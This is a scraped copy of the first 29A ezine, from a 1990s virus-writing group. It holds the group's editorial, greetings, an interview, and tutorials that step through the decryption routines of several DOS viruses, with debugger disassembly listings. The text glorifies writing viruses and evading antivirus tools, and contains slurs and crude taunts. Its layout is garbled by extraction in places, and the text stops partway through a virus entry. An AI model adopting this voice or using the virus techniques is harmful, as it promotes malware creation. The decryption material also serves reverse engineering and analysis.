ezine - 29a-1

320
Here we are :) *************************************************************************> Mister Sandman At last you can read this... after a lot of time writing viruses and fai- ling exams, we, 29A, a spanish virus writing group, released our first zine. And no... as you can see, 29A ain't a myth as many people thought. We were just a bit late, that was all. Everything was right until IRC su- ddenly came into our lifes and sucked all the time we used to dedicate to code viruses. Anyway, and as we're intelligent, we realised that we had to get some more time to restart creating life, and that's why we haven't slept for more than one month and we're known nowadays in the uni as the biggest waggers around :) Now we are part of the virus scene, which is continuously regenerated. In the last times we could see how many groups appeared, merged or died. Thus, Qark and Quantum are retired and enjoying life, SVL broke up due to some legal problems in Slovakia, Immortal Riot and Genesis merged and are gonna release their first issue by the next two weeks, Dark Conspiracy disappeared but many of the members founded a new group, LT, which merged with RSA, iKx released their first zine... as you can see, this doesn't keep moving. There's even a new group, Computa Gangsta, which have recently released the first issue of their zine, DHC, and seem to want to follow the steps of YAM... or even worse! And believe me when i say that it's very hard to face the cruel reality and try to keep oneself's zine cool, or at least not lame :) Especially when we speak about the first release, which is usually the most easily criticisable (or however you spell that word) :) About this first issue itself, we hope that you like it and even find it interesting. Some of us (included me) didn't have the time to finish our babies as we would like to, because we decided to meet on November 30th and release the zine asap, so we had to hurry up some projects. Finally, and as there were some problems we didn't count with, we had to make one MORE delay, till we finally could release it on december 13th... friday 13th, btw ;) In this issue we included some tutorials (polymorphism, macro viruses...) viral techniques (how to disable certain AVs, new install checks...), vi- rus disassemblies (Zhengxi, V.6000...), and viruses written by us, of course :) Have a look at the virus index, because some of them are really interesting and/or innovate new techniques never used before. Btw... remember we're spanish and our english skills suck a little, so we (Mr. White and me, who are the ones who translated the articles) are sorry about any language error you can find in this zine :) As a last thing, and for you to know better who we are, here's the mem- ber list, with our nicks and IRC nicks; these nicks were placed in alpha- betical order, besides mine (bosses first) :P Normal nick IRC nick Internet address *********** ******** **************** Mister Sandman............... MrSandman........... [email protected] An¡bal Lecter................ A_Lecter............... [email protected] AVV.......................... avv....................... [email protected] Blade Runner................. blade............ [email protected]

Upload: etiennekraemer

Post on 10-Apr-2015

470 views

Category:

Documents


2 download

TRANSCRIPT

Here we are :) ************************************************** ***********************> Mister Sandman

At last you can read this... after a lot of time w riting viruses and fai- ling exams, we, 29A, a spanish virus writing gro up, released our first zine. And no... as you can see, 29A ain't a myth as many people thought.

We were just a bit late, that was all. Everything was right until IRC su- ddenly came into our lifes and sucked all the time we used to dedicate to code viruses. Anyway, and as we're intelligent, w e realised that we had to get some more time to restart creating life, an d that's why we haven't slept for more than one month and we're known now adays in the uni as the biggest waggers around :)

Now we are part of the virus scene, which is conti nuously regenerated. In the last times we could see how many groups ap peared, merged or died. Thus, Qark and Quantum are retired and enjoying li fe, SVL broke up due to some legal problems in Slovakia, Immortal Riot and Genesis merged and are gonna release their first issue by the next two weeks, Dark Conspiracy disappeared but many of the members founded a new group, LT, which merged with RSA, iKx released their first zine... as you can see, this doesn't keep moving.

There's even a new group, Computa Gangsta, which have recently released the first issue of their zine, DHC, and seem to w ant to follow the steps of YAM... or even worse!

And believe me when i say that it's very hard to face the cruel reality and try to keep oneself's zine cool, or at least not lame :) Especially when we speak about the first release, which is u sually the most easily criticisable (or however you spell that word) :)

About this first issue itself, we hope that you li ke it and even find it interesting. Some of us (included me) didn't have the time to finish our babies as we would like to, because we decided to meet on November 30th and release the zine asap, so we had to hurry up s ome projects.

Finally, and as there were some problems we didn' t count with, we had to make one MORE delay, till we finally could release it on december 13th... friday 13th, btw ;)

In this issue we included some tutorials (polymorp hism, macro viruses...) viral techniques (how to disable certain AVs, new install checks...), vi- rus disassemblies (Zhengxi, V.6000...), and virus es written by us, of course :) Have a look at the virus index, because some of them are really interesting and/or innovate new techniques never u sed before.

Btw... remember we're spanish and our english sk ills suck a little, so we (Mr. White and me, who are the ones who trans lated the articles) are sorry about any language error you can find in thi s zine :)

As a last thing, and for you to know better who we are, here's the mem- ber list, with our nicks and IRC nicks; these nick s were placed in alpha- betical order, besides mine (bosses first) :P

Normal nick IRC nick Internet address *********** ******** **************** Mister Sandman............... MrSandman.......... . [email protected] An¡bal Lecter................ A_Lecter........... .... [email protected] AVV.......................... avv................ ....... [email protected] Blade Runner................. blade............ b [email protected]

Gordon Shumway............... Shumway............ ... [email protected] Griyo........................ Griyo.............. ..... [email protected] Leugim San................... LeugimSan.......... [email protected] Mr. White.................... W666............... ... [email protected] Tcp.......................... Tcp................ ....... [email protected] The Slug..................... The_Slug........... .. [email protected] VirusBuster.................. VirusBust......... [email protected] Wintermute................... Winter............. [email protected]

Besides the new tricks implemented in our viruses, we don't make anything special in this issue... we're saving some info for the next issue; in fact, i've already written a 100% working encrypt ed resident PE infector and a tutorial about Windows95, and Griyo, Tcp and i have almost finished some superinteresting virus disassemblies... this is part of what 29A#2 will be, so don't miss it! ;)

Some words from The Slug: i'm afraid because of th e little jumps my arti- cle reader sometimes suffers, but the mouse suppor t messed some of my co- de... anyway, if you're using mouse, it will wor k ok. I'm sure that the whole Windows community will thank this to me :)

And some words from Tcp: we won't write a help fil e about how to use this file browser, because you ain't supposed to be so lame. Anyway, just note three important things which differ from other bro wsers:

þ There's a '#' at the bottom of the menu bar; that's the 'hot corner' which, being pressed with the mouse, activates the screen saver, which is the payload of the LSD virus :)

þ When reading an article, you can use the mouse buttons for performing every kind of moving inside the file and so on. You can even convert to a file every UUencoded file inside an article si nce i wrote a UUdecoder for the file browser :)

þ There's a secret menu in this magazine... try to guess the password and get da freak! with a good debugger, it ain't so difficult ;)

Mister Sandman, bring me a dream.

Distributors ************************************************** ***********************> Mister Sandman

Hehe... this is our first release, don't expect t oo many distributors :) By now we just have one, the spanish 29A headquart ers; besides this, you can download 29A from our homepage, from ftp.ilf.n et/incoming, etc. :)

If you're interested on joining to the following distributor list, just send an e-mail to [email protected].

Web site/Board name Address/Phone ************************************************** *********************** 29A homepage http://www.netforward.com /cryogen/?mrsandman Wintermute's homepage http://www.netforward.com /cryogen/?wintermute Dark Node (spanish hq) +34-86-511-495

Mister Sandman, bring me a dream.

Greetings ************************************************** ***********************> Mister Sandman

ae : never call me 'vestmanneyjar' ;) b0z0 : still waiting for writing a novel for you... :) CoKe : hey you, fuckin jetsetter :P Daniel_F : hello 2 u (auto msg) darkman : good luck with the new VLAD DonDuck : if you wouldn't know so much about gr eek history... :) forty : you know a funny thing by europeans?. .. little differences ;) Galar : shalom, Galar-tical Galar :) Gi0rgett0 : whadda mistaka to maka (your turn) ;) Greenline : vreau sa merg la Romƒnia devreme! :) H_Spirit : it would be nice to read Revelation a gain halflife : i'd really like to see your ponytail :P iiriv : yodel! :) jtr : the greatest trader around, heh? ;) kdkd-666 : blah :) i really miss bosco's crazy p hrases l- : will you bring us that thingy i asked you about? :) Metabolis : ya still on VLAD? <g> Methyl : you make Celine Dion feel a na-tuuu-r al wo-maaaaaaan :) ODH : hi dillhole PJesus : Depeche Mode are gays :] Poltergst : thank you very much for THAT ;) qark : we miss your code... be back, please! :)''' QuantumG : hope you like the virus i dedicated t o you r- : Trebraruna rulez ;) retch : make her complexion like peaches and cream Rebyc : r(o)x(o)ring ASCII tit c(o)llecti(o)n ;) rod : you really have a swastika tattooed i n your gonads? :) Sep-IRG : why don't we found Sarah Gordon's fan club? ;) ShadSeek : ay, ay, ay, ay, que se me ha muerto e l canario... ;) singhr : hmmm... ermghhh... oh, shit, dunno wh at to tell you O:) Skeeve242 : still stuck on 8... :) tyzm : do you use condoms in your gay relati onships? :P WarBlaDE : go ahead with LT/RSA... best luck for you wlfshmn : nahhhh... swedish vodka sux ;) ww0rker : hey you, dogkiller :P

Our greetings go too to the people in #viruslatin (raiders, Ramthes, Or- dos, Int13h...) and to all those friends who i fo rgot in the list above, but i swear i ain't the responsable... it's kdkd' s fault for not inclu- ding their names in the bot :P

Of course, very big thanks for those who collabor ated with the making of this file browser... they worked a lot and i know they're worth :)

Tcp : file browser, screensaver, music play er The Slug : article reader with smooth scroll, da ta files Tuk : cool 29A logo ;) HeXeTeR : The VaW and NecronoiD coded the first issue intro Mr. White : music recording Others : AVV and Leugim San, who coded other f ile browsers :)

Mister Sandman, bring me a dream.

Legal stuff ************************************************** ***********************> Mister Sandman

Erhhhmm... well, i really hate doing this kinda th ings, but it's necessa- ry anyway so... ok, let's suffer for a while and m ake my lawyers happy :)

Albeit most of our readers are supposed to have m ore than one virus and to be even able to code viruses by theirselves so they ain't the typical lamers who are looking for destructive code to f uck their school compu- ters, we know that exists a risk to become famo us <g> and fall in the greasy hands of one of those gimps. Ok, i know th at when you are looking for a gun you don't steal one from a museum, but anyway, and due to our morality, we have an internal rule which forbids a ny destructive code in- cluded in our magazine.

We prefer to bet for originality and code for fun , so our viruses may be useful for other people who are trying to learn. .. that's the key stone of the code with educational purposes.

Once you have understood this, you may get outta this shit and start en- joying the code... if you're one of those dickhead s or antivirus pussies who can't understand what i mean, just get the fuc k out. Btw, i don't ha- ve any lawyer ;)

Mister Sandman, bring me a dream.

Interviews ************************************************** ***********************> Mister Sandman

For this first issue i decided to interview a ver y good friend of mine, b0z0, because he and his group released their fir st zine a few time ago, and it's always interesting to know something mor e about the new talents in the scene, so... here you have the interview:

29A> Ok, b0z0... this is the classic first questio n of almost every inter- 29A> view... tell me why did you choose your nick

humm... this is a difficult question :) well, real ly, i just selected it the first time that i went on irc and then i conti nued to use it.

29A> When and with 'what' did you start computing?

i started when i was about 9. my first computer wa s a ZX Spectrum 16... that were very cool days :) then i upgraded to Spe ctrum 48, to Spectrum + and finally i got my first 8086. i used mainlt to play games and program a little with basic.

29A> And when did you first know about a computer virus (first experience, 29A> with which virus(es), etc)?

i first encountered with viruses a little after my first experience on a x86. i got a copy of some viruses (the aids trojan , some jerusalem variants and some viennas) from a friend and start ed playing with them. but honestly i haven't cared too much about viruse s in that period, so i leaved that diskettes soon in a box after a while :) at that time i was spending all my days playing games or doing someth ing like :) i started "seriously" with viruses about one year ago, when i founded tons of cool virus releated zines and programs around the inter net. at that time i really get caught by a great interest for viruses ;)

29A> In what computer languages can you code?

i am able to code in asm (80x86 and Z80), c, perl, pascal, basic, and wordbasic (and the languages that derives from the se, such as visual basic...)

29A> Describe yourself (physically, morally... how ever... even sexually if 29A> you dare) :)

ok, i'll try :) i'm 17 and i pass about half a day wasting time at school :) for the remaining half of the day i mainly use my computer. i like also reading books (tech or science-fiction ones), i li ke a lot japanese cartoons (expecially Hokuto Ken, Sailor Moon, Ranm a 1/2) and heavy metal and punk music (i need it when i code :) ).

29A> Ok, now about viruses... tell me which ones have you coded, and/or 29A> the ones you like most

well, i haven't coded a lot of viruses. until now i coded about 10 viruses, but only released to the public half of t hem. that viruses wasn't very complicated or something, just quite simple v iruses to learn coding :) i think that i am just now starting to code coo l viruses ;) you must wait a little... ;)

anyway the one that i write i like most is Sailor. Mars. i was really satisfacted when i saw that noone av scan it in an y way thanx to its "encryption" :) and definitely it has the biggest probability to stay in

the wild comparing with the others that i wrote.

29A> Btw, about your virus writing group... tell m e something (its story, 29A> new projects, and so on)

so, the iKx isn't only a virus writing group :) it is a group of hackers, phreakers and, of course, virus writers. the group born in the second half of the 1995 when the dear old Psycodad decided to try to put up a group of guys interested in this topics. the main idea was to excange interesting information between the components of the group an d of course also create a public part for all the other interested guys ou tside our group. so we started building our webpages and then, after abou t a year of activity, we released the first issue of our zine, the xine. definitely at the iKx we are having a lot of fun a nd try to learn as much as possible ;)

29A> Which is/are your favourite virus(es)?

i don't really have a favourite virus. there are r eally many viruses that are cool for a reason or another. if i must say so me names then i'll say Qark Ph33r and the One Half virus.

29A> Do you think the perfect virus exists or migh t be ever coded?

i don't know :) maybe... a EXE/COM/OVL/SYS/NE/PE/L E/BS/MBR/DOC infector, multilayer poly, full stealth under dos and win, i nfects also packed files, full OLE and net support, mid-file infectio n where possible, full retailating, anti resident-av and so on :) but it would be a little too big i think ;) anyway i don't think that there is really a "need" for a perfect virus. every virus has it's cool features and of course it's problems. but just look around. generally the viru ses that are more common in the wild are just the most simple ones. avers every day claims that they can eliminate every new virus or catch i t when it is executed. and at the end also the most crap virus can fool e very av. just look at the Sailor.Jupiter. it is a quite crap boot sector , but it totally fools all the most used resident and non resident antivi ruses. fprot, virstop, tbscan, avp, scan? hoho :)

29A> How will the 'viruses of the future' look in your opinion?

i think that the 'viruses of the future' will have support for spreading over a network. there are plenty of this possibili ties under win*.* that can be implemented, and they *will* be implemented :)

29A> Ok, now let's have a look at the other side ... AVs and AVers. Which 29A> is the AV you like most?

i really hate all the avers that have trasformed t he a.c.v for trading and pubblicizing their shit. as for the av product s... i used to find cool the tbav, but after a little of studies i founded that it isn't as cool as i thought. so currently i consider that the more e fficent is the avp. but i don't like anyway a lot the avp because the scan strings are too general and small. i must say that i like best the small freeware tools developed by individuals researchers.

29A> Heh... one question is enough for those nigga s ;) now about the virus 29A> scene... give me your point of view about it (old groups, new groups, 29A> who's cool, who sucks... you know) :)

the virus writing scene is, as usual, boring :) it isn't also cool to see great groups to leave... but that's life. anyway i n the last months i saw also some new cool groups/individuals entering the virus scene. i hope it will grow and that there would be many cool produc tions in the near future

;)

29A> Finally, just send a greet to someone, say something, sing, write a 29A> poem <g>, pull yourself :)... dunno, whatever you want. This is your 29A> free space :)

ok.... :) i won't sing, i assure it is better for your readers ;) anyway i would like to send big greetings to the entire s taff at the iKx, expecially to Psycodad that had the great idea to start with this project, to JHB that invited me to became a member of the i Kx and to Kernel Panic that helped me many times. Of course big greets al so to Giorgetto and Phoenix. Then also greets to Dandler, kdkd, Galar, l-, Metabolis, Qark, Methyl, Rebyc, Omega, Mindmaniac and all the other guys at #virus or generally to all virus releated ppl :)

Mister Sandman, bring me a dream.

Life in Saturn! ************************************************** ***********************> Mister Sandman

This is a stupid but pretty funny new... for thos e who think that compu- ter viruses are living organisms, i'll tell that there will be life in Titan, the biggest moon of Saturn, from october 19 97.

No, i ain't drunk... if you don't believe it, just pay attention and read carefully: on october 1997 the spacelead 'Huygens ', a project of several european countries, will land in the surface of Titan, the biggest moon in Saturn, in order to seek the start of human lif e <g>.

Inside of this spacelead there will be a CD in wh ich lots of people can write, from a few days ago, their name and a tex t they want. And as the available room for writing this text is big enough for holding a virus, i decided to send one, so it will be world's ever first virus to reach a- nother planet :)

You can either write the source code, the hex dump , or the binary code of a virus... there's a lot of room out there! :) I 'll include the source of 'Saturn!', the virus i sent to Titan, in 29A#2, which will be released according to my calculations, in a near date to th e landing of the space- lead :) it will be the first, but you can collabo rate writing new babies and sending them out, so we will INVADE Saturn!!! :)

All it takes is connecting to Huygen's web page a nd doing a cut&paste of your virus in the message gap... the address of th is web page for english speakers is http://www.huygens.com/sign/anglais/si gn.htm ;)

Mister Sandman, bring me a dream.

Encryption: theory ************************************************** ***********************> VirusBuster

As an introduction to Blade Runner's decryption p ractices, and for those of you whose knowledge isn't just that advanced, we'll describe brielfy the grounds of encryption.

1. Very basic introduction **************************

First viruses ever had their code very visible. T hey didn't use encryp- tion techniques, neither did they use polymorphic routines in order to variate their code. All the code was nude, witho ut any kind of "trick" which could stop others from disassembling them.

Nevertheless, someday, someone (one of the first encrypted viruses was Alexander.1951, from Romania) had the briliiant id ea of "hiding" his code from people's curious eyes, and invented something called "encryption".

With this technique, we were able to change what ever portion of code we wanted, so when someone else tried to disassemble that code, would get a bunch of garbage instead of "readable" code.

2. Theory *********

There are several different encryption levels. Som e of them use a simple operation such as OR, XOR, ..., and there are othe r ones that combine ma- ny ORs, XORs, NOTs,... etc.

An encrypted virus has the following execution str ucture:

+ It may have a jmp to the virus code (eg Maltese Amoeba) or it may have the viral code at the begining of the file (Jeru salem). + Decryption routine. + Virus code. + Jump to the infected file's code.

The decryption routine consists of a series of ins tructions that turn en- crypted code into real instructions. In order to d o this, several logical operations (ie OR, XOR,...) are performed on the e ncrypted bytes.

It is not our duty here to explain how en/decrypt ion routines work, the- refore i'll explain the different methods of dec rypting a virus and how to identify a yet encrypted one.

3. Decryption methods *********************

Overall i must advise experience gives it all. T he more viruses you de- crypt, the better your bets will be towards fucki ng this new virus we've just discovered.

Some viruses decrypt themselves from top to bot tom. I mean, they start decrypting at cs:0130 and continue downwards (cs:0 132, cs:0135...). I say from top to bottom but it really goes from the low est position to the hi- gher ones :)

Some other viruses decrypt themselves from the bo ttom to the top. I mean

from the highest position to the lower ones (cs:45 67, cs:4563... cs:0116)

Classic decryption formulas are:

cs:0100 decrypted code . . . cs:0115 xor dl,5e . . . cs:0124 cmp ax,0 cs:0127 je 13d cs:012a jmp cs:0115 cs:012d encrypted code

Btw, I don't pretend the adresses to be the real o nes :)

Well, we can see in cs:0115 a logical operation be ing performed, and then in cs:0124 a comparison being done, and depending on the result, it will go in each direction. In the above example AX i s compared to 0 (being true when all bytes have been decrypted). This is a typical structure in encrypted viruses. When we reach a value, we jump to the next instruction after the jmp that would execute the decryption ro utine once again.

What must we do to decrpyt this possible virus? nothing more than trace the code till you reach cs:012d, as this is the point where code is al- ready decrypted.

I leave to you the way to save decrypted code to disk so as to look it with a bit more of calm.

Debug users may write with "w cs:0100 0 40 4" (whi ch would save code from cs:0100 to cs:0900 in drive A, at sector 40h (64d) , and would save 4 512- byte sectors which would make up to cs:0900), or either overwriting di- rectly the encrypted file, stating its length at C X and performing a disk write (w).

If you use Turbo Debugger, strike Tab till you ar e at the "dump" window. Once there, press alt+f10, select "Block" and the n "Write", where you'll change the file name, the adress and the number of bytes to write.

For AVPUtil users, press alt+w and specify the fi le name and the number of bytes to write in that file.

Returning to the structures, we can find the "loop " one:

cs:0100 decrypted code . . cs:0114 or al,al . . cs:0140 loop 114 cs:0142 encrypted code

In this case it would be enough to let the loop d ecrypt the virus. There are a few variants but the base is the same:

cs:0100 decrypted code . . cs:0116 stuff . . cs:0150 jmp to stuff cs:0156 decrypted code

What we must do is reach the instruction after jmp to stuff, coz while it continues to jump upwardly it's decrypting.

In viruses which get decrpyted from top to botto m, this is easily done. You let it perform a couple jumps and then breakpo int the instruction af- ter the jmp. Then you only have to let it run. As soon as the code is de- crypted, we'll get the control back.

There may be more problems if we're to use DOS's debug when working on a top-to-bottom decrpyting virus. Why? well, the ne xt instruction to the jump will remain encrypted till the end, and it wo uld be difficult to set a breakpoint after just two jumps.

Then we may:

1) Use Borland's (TD) or AVP's debugger. 2) Being patient and do it manually. 3) Move the decryption routine and something more to another segment, get onto that segment, breakpoint the instruction after the jump and then run the virus.

To do this last step:

-mcs:0100 400 3000:01009 -rcs 3000

I think with all of this it's ok. Well, and still remain all those virii that hang off int 1 or int 3 and don't let us debu g them. In this case, i usually run the virus and note down int 21h's vect or, writing to disk the virus length. Another solution is to patch int 21 h where the virus gets to hang from int 1 or int 3 with a couple of nops.

4. Examples ***********

Here you have Maltese Amoeba virus (one of its var iants) when encrypted:

0c39:000a pushf 0c39:000b nop 0c39:000c nop 0c39:000d push ax 0c39:000e push bx 0c39:000f jmp 0011 0c39:0011 xchg cx,ax 0c39:0012 xchg cx,ax 0c39:0013 mov ah,ah 0c39:0015 push ds

0c39:0016 cmc 0c39:0017 push es 0c39:0018 clc 0c39:0019 push cs 0c39:001a pop es 0c39:001b cld 0c39:001c stc 0c39:001d push cs 0c39:001e pop ds 0c39:001f mov al,al 0c39:0021 mov cx,cx 0c39:0023 sahf 0c39:0024 cld 0c39:0025 mov di,004f 0c39:0028 mov dl,dl 0c39:002a mov cx,04a6 0c39:002d mov si,di 0c39:002f mov ax,ax 0c39:0031 mov bx,bx 0c39:0033 lodsw 0c39:0034 xor ax,a451 0c39:0037 clc 0c39:0038 jmp 003a 0c39:003a stosw 0c39:003b loop 0033 ^^^^

Here you have the famous jump that returns to the above adresses.

0c39:003d cli 0c39:003e pop ax 0c39:003f xchg cx,ax 0c39:0040 xchg cx,ax 0c39:0041 mov ah,ah 0c39:0043 add [01c3],ax 0c39:0047 cld 0c39:0048 mov al,al 0c39:004a add [0086],ax 0c39:004e nop 0c39:004f stosw 0c39:0050 db 69 0c39:0051 dec bp 0c39:0052 das 0c39:0053 mov bp,172f 0c39:0056 pop ax 0c39:0057 fistp qword ptr [si-26] 0c39:005a repnz 0c39:005b stosw 0c39:005C imul cl 0c39:005E mov dl,7a 0c39:0060 sbb ax,a212 0c39:0063 pushf 0c39:0064 test bp,[si-59] 0c39:0067 inc di

And once decrypted:

[...] 0c39:0034 xor ax,a451 0c39:0037 clc

0c39:0038 jmp 003a 0c39:003a stosw 0c39:003b loop 0033 0c39:003d cli 0c39:003e pop ax 0c39:003f xchg cx,ax 0c39:0040 xchg cx,ax 0c39:0041 mov ah,ah 0c39:0043 add [01c3],ax 0c39:0047 cld 0c39:0048 mov al,al 0c39:004a add [0086],ax 0c39:004e nop 0c39:004f cli 0c39:0050 int 1c 0c39:0052 mov bp,sp 0c39:0054 mov ax,[bp-04] 0c39:0057 mov ds,ax 0c39:0059 mov dx,[bp-06] 0c39:005c push dx

Just trace into every call you find, and don't f orget to take care of your HD... it might be a YAM virus ;)

* VirusBuster *

Encryption: practice ************************************************** ***********************> Blade Runner

This will be a fix section in 29A in which we'll s ee many of the weirdest decryption routines, and the way to use them so as to decrypt its owners.

In this first issue i'll center on easy viruses wi th no antidebugging, so that people who've just started may understand eve rything easily. In fur- ther issues i'll include more difficult viruses, and then this will get pretty interesting ;-)

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²² ²² 1.-VIRUS:ABR-1171.COM infected by PS-MPC.c virus ²²±± ²² 2.-VIRUS:AC-255.COM infected by Arcv.Made. 225 virus ²²±± ²² 3.-VIRUS:AC-330.COM infected by Arcv.330 v irus ²²±± ²² 4.-VIRUS:AC-839.COM infected by Arcv.Frien ds virus ²²±± ²² 5.-VIRUS:AC-916.COM infected by Arcv.Joann a {1} virus ²²±± ²² 6.-VIRUS:ANTIMIT.COM infected by Anti-Mit virus ²²±± ²² 7.-VIRUS:ARARA.COM infected by Arara virus ²²±± ²² 8.-VIRUS:ATOMANT.COM the ATOMANT.UNK1 viru s or variant ²²±± ²² 9.-VIRUS:AUS-369B.COM Found the AUSSIE.PAR ASITE.369 ²²±± ²² 10.-VIRUS:BETA0575.COM infected by Beta_Boy s virus ²²±± ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±±±±±±±±±±±±±±±

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²² ³³³³³ 1 VIRUS:ABR-1171.COM infected by PS-MPC. c virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²²

************************************************** ******************** c No checksum / recovery information (Anti-Vir.Da t) available. F Suspicious file access. Might be able to infec t a file. S Contains a routine to search for executable (.C OM or .EXE) files. # Found a code decryption routine or debugger tra p. This is common for viruses but also for some copy-protected so ftware. O Found code that can be used to overwrite/move a program in memory. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Ver y usual for viruses. T Incorrect timestamp. Some viruses use this to mark infected files. ************************************************** *******************

Let's disassemble the virus; i personally use DOS 's debug for this kinda jobs, but use whatever debugger you like.

-u100 14CF:0100 E99004 JMP 0593 ; Jumpt t o the address 593h 14CF:0103 3F AAS ; The res t of the code, as you 14CF:0104 95 XCHG BP,AX ; can see , is encrypted and has 14CF:0105 D7 XLAT ; no sens e at all %-) 14CF:0106 29A6C13F SUB [BP+3FC1],SP 14CF:010A 8FD7 POP DI 14CF:010C 29A2C13F SUB [BP+SI+3FC1],SP 14CF:0110 16 PUSH SS 14CF:0111 D7 XLAT 14CF:0112 7F6E JG 0182

Now we go to address 593h and find rest of the dec rypted code:

-u593 14CF:0593 BE0001 MOV SI,0100 ; 100h addre ss of actual jmp 593h

14CF:0596 56 PUSH SI ; Save SI 14CF:0597 B94A02 MOV CX,024A ; Number of bytes to decrypt 14CF:059A C70429D8 MOV WORD PTR [SI],D829 ; d829 at 100h 14CF:059E C64402C1 MOV BYTE PTR [SI+02],C1 ; c1h at 102h 14CF:05A2 8134C1D7 XOR WORD PTR [SI],D7C1 ; d7c1h at SI. If we look ; at 100h we'll find a ; call c212h

If we now look at the header being decrpyted, w e find that at address 100h, instead of a jmp 593h there's this instructi on: call c212h.

-u100 14CF:0100 E80FC1 CALL C212 ; 100h addre ss right now 14CF:0103 3F AAS

We continue decrpyting...

14CF:05A6 46 INC SI ; Increase SI, w e get 101h 14CF:05A7 46 INC SI ; Increase SI, w e get 102h 14CF:05A8 E2F8 LOOP 05A2 ; We decrpyt 24a h bytes which in CX 14CF:05AA 31F6 XOR SI,SI; Get a 0 at SI 14CF:05AC 31C9 XOR CX,CX; Get a 0 at CX 14CF:05AE C3 RET 14CF:05AF 0000 ADD [BX+SI],AL

And we finally have the decrypted virus and look i nto it; this decryption method is not difficult; it's just tracing the c ode as we have no anti- debugging catch.

The disassembled code starting at 100h looks lik e this after decrypted; look at the original 100h and this one to see that the virus is ready for execution.

-u100 14CF:0100 E80F00 CALL 0112 14CF:0103 E85400 CALL 015A 14CF:0106 E87100 CALL 017A 14CF:0109 E84E00 CALL 015A 14CF:010C E87500 CALL 0184 14CF:010F E8D700 CALL 01E9 14CF:0112 BEB904 MOV SI,04B9 14CF:0115 8B1C MOV BX,[SI] 14CF:0117 0BDB OR BX,BX 14CF:0119 743E JZ 0159 14CF:011B B8DD34 MOV AX,34DD 14CF:011E BA1200 MOV DX,0012

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²² ³³³³³ 2 VIRUS: AC-255.COM infected by Arcv.Mad e.225 virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²²

************************************************** ******************* c No checksum / recovery information (Anti-Vir.Da t) available. # Found a code decryption routine or debugger tra p. This is common for viruses but also for some copy-protected so ftware. ************************************************** *******************

-u100 14CF:0100 E90500 JMP 0108 ; Let's jump to 108h 14CF:0103 CD20 INT 20 14CF:0105 90 NOP 14CF:0106 0909 OR [BX+DI],CX

14CF:0108 E80000 CALL 010B ; 10bh -> next instruction

-u 14CF:0118 53 PUSH BX ; We save BX 14CF:0119 8D9C4801 LEA BX,[SI+0148] ; At BX, data at SI+148h 14CF:011D 8B941601 MOV DX,[SI+0116] ; Sam e to DX 14CF:0121 B9BC00 MOV CX,00BC ; Num ber of bytes to decrypt 14CF:0124 8B07 MOV AX,[BX] 14CF:0126 33C2 XOR AX,DX ; Cal culates AX respect of DX 14CF:0128 86E0 XCHG AH,AL ; XCH anGe AL with AH 14CF:012A 33C2 XOR AX,DX ; Cal culates AX respect of DX 14CF:012C 86E0 XCHG AH,AL ; XCH anGe AL with AH 14CF:012E 8907 MOV [BX],AX ; We save AX at BX 14CF:0130 83C302 ADD BX,+02 ; And add 2 to it 14CF:0133 E2EF LOOP 0124 ; Dec rypting... 14CF:0135 5B POP BX 14CF:0136 C3 RET 14CF:0137 E8DEFF CALL 0118

Text that appears after decrypting virus at 1e0h:

14CF:01E0 CD 21 B4 3E CD 21 FF E5-B4 3F CD 21 C3 4 D 61 64 .!.>.!...?.!.Mad 14CF:01F0 65 20 69 6E 20 45 6E 67-6C 61 6E 64 00 0 0 2A 2E e in England..*.

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²² ³³³³³ 3 VIRUS:AC-330.COM infected by Arcv.330 virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²²

************************************************** ******************* c No checksum / recovery information (Anti-Vir.Da t) available. F Suspicious file access. Might be able to infec t a file. S Contains a routine to search for executable (.C OM or .EXE) files. # Found a code decryption routine or debugger tra p. This is common for viruses but also for some copy-protected so ftware. E Flexible Entry-point. The code seems to be des igned to be linked on any location within an executable file. Com mon for viruses. J Suspicious jump construct. Entry point via cha ined or indirect jumps. This is unusual for normal software but common for viruses. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Ver y usual for viruses. ************************************************** *******************

14CF:0100 E90200 JMP 0105 ; Jump to 105 h

-u105 14CF:0105 E81301 CALL 021B ; Call to add ress 21bh 14CF:0108 E57B IN AX,7B; Give a look to this address (108h) 14CF:010A 9C PUSHF

-u21b 14CF:021B E80000 CALL 021E ; Trace th e call 14CF:021E B91301 MOV CX,0113 ; Length = 113h bytes 14CF:0221 5E POP SI ; Pop the delta offset into SI 14CF:0222 81EE2102 SUB SI,0221 ; SUBstrac t 221h from SI 14CF:0226 8DBC0B01 LEA DI,[SI+010B]; We r ead address SI+10bh 14CF:022A 803551 XOR BYTE PTR [DI],51 ; Calculate calue at 14CF:022D 47 INC DI ; address 108h, what 14CF:022E E2FA LOOP 022A ; <*¿ lea ves 'B4' at that address 14CF:0230 C3 RET ; <***¿ À* Dencry pting À** Return t o 108h

-u108

14CF:0108 B42A MOV AH,2A ; Decrypte d 108h 14CF:010A CD21 INT 21 14CF:010C 80FE07 CMP DH,07

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²² ³³³³³ 4 VIRUS:AC-839.COM infected by Arcv.Frie nds virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²²²²²²²²²²²²²²²²²²²

